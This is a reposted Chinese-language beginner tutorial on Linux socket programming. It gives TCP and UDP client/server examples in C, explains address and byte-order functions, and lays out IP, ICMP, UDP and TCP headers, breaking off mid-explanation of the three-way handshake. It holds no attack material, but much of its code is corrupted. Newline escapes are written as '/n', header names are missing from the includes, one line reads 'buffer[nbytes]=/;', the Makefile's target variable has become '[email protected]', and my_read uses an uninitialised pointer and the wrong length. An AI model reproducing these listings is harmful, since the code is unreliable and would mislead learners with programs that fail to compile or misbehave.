學習Linux網路程式設計(轉載,很不錯的入門文章)
這篇教程是用來介紹在Linux下編寫網路程式的.
-----------------------------------------------------------------
Linux 系統的一個主要特點是他的網路功能非常強大。隨著網路的日益普及,基於網路的應用也將越來越多。 在這個網路時代,掌握了Linux的網路程式設計技術,將令每一個人處於不敗之地,學習Linux的網路程式設計,可以讓我們真正的體會到網路的魅力。 想成為一位真正的hacker,必須掌握網路程式設計技術。
現在書店裡面已經有了許多關於Linux網路程式設計方面的書籍,網路上也有了許多關於網 絡程式設計方面的教材,大家都可以 去看一看的。在這裡我會和大家一起來領會Linux網路程式設計的奧妙,由於我學習Linux的網路程式設計也開始不久,所以我下面所說的肯定會有錯誤的, 還請大家指點出來,在這裡我先謝謝大家了。
在這一個章節裡面,我會和以前的幾個章節不同,在前面我都是概括的說了一下, 從現在開始我會盡可能的詳細的說明每一個函式及其用法。好了讓我們去領會Linux的偉大的魅力吧!
1. Linux網路知識介紹
1.1 客戶端程式和服務端程式
網路程式和普通的程式有一個最大的區別是網路程式是由兩個部分組成的--客戶端和伺服器端.
網路程式是先有伺服器程式啟動,等待客戶端的程式執行並建立連線.一般的來說是服務端的程式 在一個埠上監聽,直到有一個客戶端的程式發來了請求.
1.2 常用的命令
由於網路程式是有兩個部分組成,所以在除錯的時候比較麻煩,為此我們有必要知道一些常用的網路命令
netstat
命令netstat是用來顯示網路的連線,路由表和介面統計等網路的資訊.netstat有許多的選項 我們常用的選項是 -an 用來顯示詳細的網路狀態.至於其它的選項我們可以使用幫助手冊獲得詳細的情況.
telnet
telnet是一個用來遠端控制的程式,但是我們完全可以用這個程式來除錯我們的服務端程式的. 比如我們的伺服器程式在監聽8888埠,我們可以用telnet localhost 8888來檢視服務端的狀況.
1.3 TCP/UDP介紹
TCP(Transfer Control Protocol)傳輸控制協議是一種面向連線的協議,當我們的網路程式使用 這個協議的時候,網路可以保證我們的客戶端和服務端的連線是可靠的,安全的.
UDP(User Datagram Protocol)使用者資料報協議是一種非面向連線的協議,這種協議並不能保證我們 的網路程式的連線是可靠的,所以我們現在編寫的程式一般是採用TCP協議的.
2. 初等網路函式介紹(TCP)
Linux 系統是通過提供套接字(socket)來進行網路程式設計的.網路程式通過socket和其它幾個函式的呼叫,會返回一個 通訊的檔案描述符,我們可以將這個描述符看成普通的檔案的描述符來操作,這就是linux的裝置無關性的 好處.我們可以通過向描述符讀寫操作實現網路之間的資料交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain: 說明我們網路程式所在的主機採用的通訊協族(AF_UNIX和AF_INET等). AF_UNIX只能夠用於單一的Unix系統程序間通訊,而AF_INET是針對Internet的,因而可以允許在遠端 主機之間通訊(當我們 man socket時發現 domain可選項是 PF_*而不是AF_*,因為glibc是posix的實現 所以用PF代替了AF,不過我們都可以使用的).
type:我們網路程式所採用的通訊協議(SOCK_STREAM, SOCK_DGRAM等) SOCK_STREAM表明我們用的是TCP協議,這樣會提供按順序的,可靠,雙向,面向連線的位元流. SOCK_DGRAM 表明我們用的是UDP協議,這樣只會提供定長的,不可靠,無連線的通訊.
protocol:由於我們指定了type,所以這個地方我們一般只要用0來代替就可以了 socket為網路通訊做基本的準備.成功時返回檔案描述符,失敗時返回-1,看errno可知道出錯的詳細情況.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket呼叫返回的檔案描述符.
addrlen:是sockaddr結構的長度.
my_addr:是一個指向sockaddr的指標. 在中有 sockaddr的定義
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不過由於系統的相容性,我們一般不用這個標頭檔案,而使用另外一個結構(struct sockaddr_in) 來代替.在中有sockaddr_in的定義
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
我 們主要使用Internet所以sin_family一般為AF_INET,sin_addr設定為INADDR_ANY表示可以 和任何的主機通訊,sin_port是我們要監聽的埠號.sin_zero[8]是用來填充的. bind將本地的埠同socket返回的檔案描述符捆綁在一起.成功是返回0,失敗的情況和socket一樣
2.3 listen
int listen(int sockfd,int backlog)
sockfd:是bind後的檔案描述符.
backlog:設定請求排隊的最大長度.當有多個客戶端程式和服務端相連時, 使用這個表示可以介紹的排隊長度. listen函式將bind的檔案描述符變為監聽套接字.返回的情況和bind一樣.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen後的檔案描述符.
addr, addrlen是用來給客戶端的程式填寫的,伺服器端只要傳遞指標就可以了. bind,listen和accept是伺服器端用的函式,accept呼叫時,伺服器端的程式會一直阻塞到有一個 客戶程式發出了連線. accept成功時返回最後的伺服器端的檔案描述符,這個時候伺服器端可以向該描述符寫資訊了. 失敗時返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的檔案描述符.
serv_addr:儲存了伺服器端的連線資訊.其中sin_add是服務端的地址
addrlen:serv_addr的長度
connect函式是客戶端用來同服務端連線的.成功時返回0,sockfd是同服務端通訊的檔案描述符 失敗時返回-1.
2.6 例項
伺服器端程式
/******* 伺服器程式 (server.c) ************/
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?/n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
/* 伺服器端開始建立socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s/n/a",strerror(errno));
exit(1);
}
/* 伺服器端填充 sockaddr結構 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆綁sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,"Bind error:%s/n/a",strerror(errno));
exit(1);
}
/* 監聽sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s/n/a",strerror(errno));
exit(1);
}
while(1)
{
/* 伺服器阻塞,直到客戶程式建立連線 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size))==-1)
{
fprintf(stderr,"Accept error:%s/n/a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s/n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s/n",strerror(errno));
exit(1);
}
/* 這個通訊已經結束 */
close(new_fd);
/* 迴圈下一個 */
}
close(sockfd);
exit(0);
}
客戶端程式
/******* 客戶端程式 client.c ************/
#include
#include
#include
#include
#include
#include
#include
#include
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error/n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
/* 客戶程式開始建立 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s/a/n",strerror(errno));
exit(1);
}
/* 客戶程式填充服務端的資料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->h_addr);
/* 客戶程式發起連線請求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==-1)
{
fprintf(stderr,"Connect Error:%s/a/n",strerror(errno));
exit(1);
}
/* 連線成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s/n",strerror(errno));
exit(1);
}
buffer[nbytes]=/;
printf("I have received:%s/n",buffer);
/* 結束通訊 */
close(sockfd);
exit(0);
}
MakeFile
這裡我們使用GNU 的make實用程式來編譯. 關於make的詳細說明見 Make 使用介紹
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o [email protected]
client:client.c
gcc $^ -o [email protected]
運 行make後會產生兩個程式server(伺服器端)和client(客戶端) 先執行./server portnumber& (portnumber隨便取一個大於1204且不在/etc/services中出現的號碼 就用8888好了),然後執行 ./client localhost 8888 看看有什麼結果. (你也可以用telnet和netstat試一試.) 上面是一個最簡單的網路程式,不過是不是也有點煩.上面有許多函式我們還沒有解釋. 我會在下一章進行的詳細的說明.
2.7 總結
總的來說網路程式是由兩個部分組成的--客戶端和伺服器端.它們的建立步驟一般是:
伺服器端
socket-->bind-->listen-->accept
客戶端
socket-->connect
3. 伺服器和客戶機的資訊函式
這一章我們來學習轉換和網路方面的資訊函式.
3.1 位元組轉換函式
在網路上面有著許多型別的機器,這些機器在表示資料的位元組順序是不同的, 比如i386晶片是低位元組在記憶體地址的低端,高位元組在高階,而alpha晶片卻相反. 為了統一起來,在Linux下面,有專門的位元組轉換函式.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在這四個轉換函式中,h 代表host, n 代表 network.s 代表short l 代表long 第一個函式的意義是將本機器上的long資料轉化為網路上的long. 其他幾個函式的意義也差不多.
3.2 IP和域名的轉換
在網路上標誌一臺機器可以用IP或者是用域名.那麼我們怎麼去進行轉換呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在中有struct hostent的定義
struct hostent{
char *h_name; /* 主機的正式名稱 */
char *h_aliases; /* 主機的別名 */
int h_addrtype; /* 主機的地址型別 AF_INET*/
int h_length; /* 主機的地址長度 對於IP4 是4位元組32位*/
char **h_addr_list; /* 主機的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主機的第一個IP地址*/
gethostbyname可以將機器名(如 linux.yessun.com)轉換為一個結構指標.在這個結構裡面儲存了域名的資訊
gethostbyaddr可以將一個32位的IP地址(C0A80001)轉換為結構指標.
這兩個函式失敗時返回NULL 且設定h_errno錯誤變數,呼叫h_strerror()可以得到詳細的出錯資訊
3.3 字串的IP和32位的IP轉換.
在網路上面我們用的IP都是數字加點(192.168.0.1)構成的, 而在struct in_addr結構中用的是32位的IP, 我們上面那個32位IP(C0A80001)是的192.168.0.1 為了轉換我們可以使用下面兩個函式
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函式裡面 a 代表 ascii n 代表network.第一個函式表示將a.b.c.d的IP轉換為32位的IP,儲存在 inp指標裡面.第二個是將32位IP轉換為a.b.c.d的格式.
3.4 服務資訊函式
在網路程式裡面我們有時候需要知道埠.IP和服務資訊.這個時候我們可以使用以下幾個函式
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服務名 */
char **s_aliases; /* 別名列表 */
int s_port; /* 埠號 */
char *s_proto; /* 使用的協議 */
}
一般我們很少用這幾個函式.對應客戶端,當我們要得到連線的埠號時在connect呼叫成功後使用可得到 系統分配的埠號.對於服務端,我們用INADDR_ANY填充後,為了得到連線的IP我們可以在accept呼叫成功後 使用而得到IP地址.
在網路上有許多的預設埠和服務,比如埠21對ftp80對應WWW.為了得到指定的埠號的服務 我們可以呼叫第四個函式,相反為了得到埠號可以呼叫第三個函式.
3.5 一個例子
#include
#include
#include
#include
#include
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip../n/a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 這裡我們假設是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s/n",*argv);
}
else
{
/* 失敗,難道是域名?*/
host=gethostbyname(*argv); printf("Address information
of host %s/n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s/n",*argv);
continue;
}
printf("Official host name %s/n",host->h_name);
printf("Name aliases:");
for(alias=host->h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("/nIp address:");
for(alias=host->h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在這個例子裡面,為了判斷使用者輸入的是IP還是域名我們呼叫了兩個函式,第一次我們假設輸入的是IP所以呼叫inet_aton, 失敗的時候,再呼叫gethostbyname而得到資訊.
4. 完整的讀寫函式
一旦我們建立了連線,我們的下一步就是進行通訊了.在Linux下面把我們前面建立的通道 看成是檔案描述符,這樣伺服器端和客戶端進行通訊時候,只要往檔案描述符裡面讀寫東西了. 就象我們往檔案讀寫一樣.
4.1 寫函式write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函式將buf中的nbytes位元組內容寫入檔案描述符fd.成功時返回寫的位元組數.失敗時返回-1. 並設定errno變數. 在網路程式中,當我們向套接字檔案描述符寫時有倆種可能.
1)write的返回值大於0,表示寫了部分或者是全部的資料.
2)返回的值小於0,此時出現了錯誤.我們要根據錯誤型別來處理.
如果錯誤為EINTR表示在寫的時候出現了中斷錯誤.
如果為EPIPE表示網路連接出現了問題(對方已經關閉了連線).
為了處理以上的情況,我們自己編寫一個寫函式來處理這幾種情況.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>0)
{
/* 開始寫*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出錯了*/
{
if(errno==EINTR) /* 中斷錯誤 我們繼續寫*/
written_bytes=0;
else /* 其他錯誤 沒有辦法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 從剩下的地方繼續寫 */
}
return(0);
}
4.2 讀函式read
ssize_t read(int fd,void *buf,size_t nbyte) read函式是負責從fd中讀取內容.當讀成功時,read返回實際所讀的位元組數,如果返回的值是0 表示已經讀到檔案的結束了,小於0表示出現了錯誤.如果錯誤為EINTR說明讀是由中斷引起的, 如果是ECONNREST表示網路連接出了問題. 和上面一樣,我們也寫一個自己的讀函式.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 資料的傳遞
有了上面的兩個函式,我們就可以向客戶端或者是服務端傳遞資料了.比如我們要傳遞一個結構.可以使用如下方式
/* 客戶端向服務端寫 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服務端的讀*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在網路上傳遞資料時我們一般都是把資料轉化為char型別的資料傳遞.接收的時候也是一樣的 注意的是我們沒有必要在網路上傳遞指標(因為傳遞指標是沒有任何意義的,我們必須傳遞指標所指向的內容)
5. 使用者資料報傳送
我 們前面已經學習網路程式的一個很大的部分,由這個部分的知識,我們實際上可以寫出大部分的基於TCP協議的網路程式了.現在在Linux下的大部分程式都 是用我們上面所學的知識來寫的.我們可以去找一些源程式來參考一下.這一章,我們簡單的學習一下基於UDP協議的網路程式.
5.1 兩個常用的函式
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct sockaddr *to int tolen)
sockfd, buf,len的意義和read,write一樣,分別表示套接字描述符,傳送或接收的緩衝區及大小.recvfrom負責從sockfd接收資料,如果 from不是NULL,那麼在from裡面儲存了資訊來源的情況,如果對資訊的來源不感興趣,可以將from和fromlen設定為 NULL.sendto負責向to傳送資訊.此時在to裡面儲存了收資訊方的詳細資料.
5.2 一個例項
/* 服務端程式 server.c */
#include
#include
#include
#include
#include
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 從網路上度,寫到網路上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 顯示服務端已經收到了資訊 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0)
{
fprintf(stderr,"Bind Error:%s/n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/* 客戶端程式 */
#include
#include
#include
#include
#include
#include
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 從鍵盤讀入,寫到服務端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 從網路上讀,寫到螢幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
/* 填充服務端的資料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s/n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 編譯檔案 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上 面的例項如果大家編譯執行的話,會發現一個小問題的. 在我機器上面,我先執行服務端,然後執行客戶端.在客戶端輸入資訊,傳送到服務端, 在服務端顯示已經收到資訊,但是客戶端沒有反映.再執行一個客戶端,向服務端發出資訊 卻可以得到反應.我想可能是第一個客戶端已經阻塞了.如果誰知道怎麼解決的話,請告訴我,謝謝. 由於UDP協議是不保證可靠接收資料的要求,所以我們在傳送資訊的時候,系統並不能夠保證我們發出的資訊都正確無誤的到達目的地.一般的來說我們在編寫網 絡程式的時候都是選用TCP協議的.
6. 高階套接字函式
在前面的幾個部分裡面,我們已經學會了怎麼樣從網路上讀寫資訊了.前面的一些函式(read,write)是網路程式裡面最基本的函式.也是最原始的通訊函式.在這一章裡面,我們一起來學習網路通訊的高階函式.這一章我們學習另外幾個讀寫函式.
6.1 recv和send
recv和send函式提供了和read和write差不多的功能.不過它們提供 了第四個引數來控制讀寫操作.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三個引數和read,write一樣,第四個引數可以是0或者是以下的組合
_______________________________________________________________
| MSG_DONTROUTE | 不查詢路由表 |
| MSG_OOB | 接受或者傳送帶外資料 |
| MSG_PEEK | 檢視資料,並不從系統緩衝區移走資料 |
| MSG_WAITALL | 等待所有資料 |
|--------------------------------------------------------------|
MSG_DONTROUTE:是send函式使用的標誌.這個標誌告訴IP協議.目的主機在本地網路上面,沒有必要查詢路由表.這個標誌一般用網路診斷和路由程式裡面.
MSG_OOB:表示可以接收和傳送帶外的資料.關於帶外資料我們以後會解釋的.
MSG_PEEK:是recv函式的使用標誌,表示只是從系統緩衝區中讀取內容,而不清楚系統緩衝區的內容.這樣下次讀的時候,仍然是一樣的內容.一般在有多個程序讀寫資料時可以使用這個標誌.
MSG_WAITALL 是recv函式的使用標誌,表示等到所有的資訊到達時才返回.使用這個標誌的時候recv回一直阻塞,直到指定的條件滿足,或者是發生了錯誤. 1)當讀到了指定的位元組時,函式正常返回.返回值等於len 2)當讀到了檔案的結尾時,函式正常返回.返回值小於len 3)當操作發生錯誤時,返回-1,且設定錯誤為相應的錯誤號(errno)
如果flags為0,則和read,write一樣的操作.還有其它的幾個選項,不過我們實際上用的很少,可以檢視 Linux Programmers Manual得到詳細解釋.
6.2 recvfrom和sendto
這兩個函式一般用在非套接字的網路程式當中(UDP),我們已經在前面學會了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg可以實現前面所有的讀寫函式的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 緩衝區開始的地址 */
size_t iov_len; /* 緩衝區的長度 */
}
msg_name 和 msg_namelen當套接字是非面向連線時(UDP),它們儲存接收和傳送方的地址資訊.msg_name實際上是一個指向struct sockaddr的指標,msg_name是結構的長度.當套接字是面向連線時,這兩個值應設為NULL. msg_iov和msg_iovlen指出接受和傳送的緩衝區內容.msg_iov是一個結構指標,msg_iovlen指出這個結構陣列的大小. msg_control和msg_controllen這兩個變數是用來接收和傳送控制資料時的 msg_flags指定接受和傳送的操作選項.和recv,send的選項一樣
6.4 套接字的關閉
關閉套接字有兩個函式close和shutdown.用close時和我們關閉檔案一樣.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP連線是雙向的(是可讀寫的),當我們使用close時,會把讀寫通道都關閉,有時侯我們希望只關閉一個方向,這個時候我們可以使用shutdown.針對不同的howto,系統回採取不同的關閉方式.
howto=0這個時候系統會關閉讀通道.但是可以繼續往接字描述符寫.
howto=1關閉寫通道,和上面相反,著時候就只可以讀了.
howto=2關閉讀寫通道,和close一樣 在多程序程式裡面,如果有幾個子程序共享一個套接字時,如果我們使用shutdown, 那麼所有的子程序都不能夠操作了,這個時候我們只能夠使用close來關閉子程序的套接字描述符.
7. TCP/IP協議
你也許聽說過TCP/IP協議,那麼你知道到底什麼是TCP,什麼是IP嗎?在這一章裡面,我們一起來學習這個目前網路上用最廣泛的協議.
7.1 網路傳輸分層
如 果你考過計算機等級考試,那麼你就應該已經知道了網路傳輸分層這個概念.在網路上,人們為了傳輸資料時的方便,把網路的傳輸分為7個層次.分別是:應用 層,表示層,會話層,傳輸層,網路層,資料鏈路層和物理層.分好了層以後,傳輸資料時,上一層如果要資料的話,就可以直接向下一層要了,而不必要管資料傳 輸的細節.下一層也只向它的上一層提供資料,而不要去管其它東西了.如果你不想考試,你沒有必要去記這些東西的.只要知道是分層的,而且各層的作用不同.
7.2 IP協議
IP協議是在網路層的協議.它主要完成資料包的傳送作用. 下面這個表是IP4的資料包格式
0 4 8 16 32
--------------------------------------------------
|版本 |首部長度|服務型別| 資料包總長 |
--------------------------------------------------
| 標識 |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存時間 | 協議 | 首部較驗和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 選項 |
=================================================
| 資料 |
-------------------------------------------------
下面我們看一看IP的結構定義
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP協議的版本號,這裡是4,現在IPV6已經出來了
ip_hlIP包首部長度,這個值以4位元組為單位.IP協議首部的固定長度為20個位元組,如果IP包沒有選項,那麼這個值為5.
ip_tos服務型別,說明提供的優先權.
ip_len說明IP資料的長度.以位元組為單位.
ip_id標識這個IP資料包.
ip_off碎片偏移,這和上面ID一起用來重組碎片的.
ip_ttl生存時間.沒經過一個路由的時候減一,直到為0時被拋棄.
ip_p協議,表示建立這個IP資料包的高層協議.如TCP,UDP協議.
ip_sum首部校驗和,提供對首部資料的校驗.
ip_src,ip_dst傳送者和接收者的IP地址
關於IP協議的詳細情況,請參考 RFC791
7.3 ICMP協議
ICMP是訊息控制協議,也處於網路層.在網路上傳遞IP資料包時,如果發生了錯誤,那麼就會用ICMP協議來報告錯誤.
ICMP包的結構如下:
0 8 16 32
---------------------------------------------------------------------
| 型別 | 程式碼 | 校驗和 |
--------------------------------------------------------------------
| 資料 | 資料 |
--------------------------------------------------------------------
ICMP在中的定義是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
關於ICMP協議的詳細情況可以檢視 RFC792
7.4 UDP協議
UDP協議是建立在IP協議基礎之上的,用在傳輸層的協議.UDP和IP協議一樣是不可靠的資料報服務.UDP的頭格式為:
0 16 32
---------------------------------------------------
| UDP源埠 | UDP目的埠 |
---------------------------------------------------
| UDP資料報長度 | UDP資料報校驗 |
---------------------------------------------------
UDP結構在中的定義為:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
關於UDP協議的詳細情況,請參考 RFC768
7.5 TCP
TCP協議也是建立在IP協議之上的,不過TCP協議是可靠的.按照順序傳送的.TCP的資料結構比前面的結構都要複雜.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源埠 | 目的埠 |
-------------------------------------------------------------------
| 序列號 |
------------------------------------------------------------------
| 確認號 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部長度| 保留 |R|C|S|Y|I| 視窗 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校驗和 | 緊急指標 |
-----------------------------------------------------------------
| 選項 | 填充位元組 |
-----------------------------------------------------------------
TCP的結構在中定義為:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
u_int16_t doff:4;
u_int16_t res1:4;
u_int16_t res2:2;
u_int16_t urg:1;
u_int16_t ack:1;
u_int16_t psh:1;
u_int16_t rst:1;
u_int16_t syn:1;
u_int16_t fin:1;
#endif
u_int16_t window;
u_int16_t check;
u_int16_t urg_prt;
};
source傳送TCP資料的源埠
dest接受TCP資料的目的埠
seq標識該TCP所包含的資料位元組的開始序列號
ack_seq確認序列號,表示接受方下一次接受的資料序列號.
doff資料首部長度.和IP協議一樣,以4位元組為單位.一般的時候為5
urg如果設定緊急資料指標,則該位為1
ack如果確認號正確,那麼為1
psh如果設定為1,那麼接收方收到資料後,立即交給上一層程式
rst為1的時候,表示請求重新連線
syn為1的時候,表示請求建立連線
fin為1的時候,表示親戚關閉連線
window視窗,告訴接收者可以接收的大小
check對TCP資料進行較核
urg_ptr如果urg=1,那麼指出緊急資料對於歷史資料開始的序列號的偏移值
關於TCP協議的詳細情況,請檢視 RFC793
7.6 TCP連線的建立
TCP協議是一種可靠的連線,為了保證連線的可靠性,TCP的連線要分為幾個步驟.我們把這個連線過程稱為"三次握手".
下面我們從一個例項來分析建立連線的過程.
第一步客戶機向伺服器傳送一個TCP資料包,表示請求建立連線. 為此,客戶端將資料包的SYN位設定為1,並且設定序列號seq=1000(我們假設為1000).
第 二步伺服器收到了資料包,並從SYN位為1知道這是一個建立請求的連線.於是伺服器也向客戶端傳送一個TCP資料包.因為是響應客戶機的請求,於是伺服器 設定ACK為1,sak_seq=1001(1000+1)同時設定自己的序列號.seq=2000(我們假設為2000).
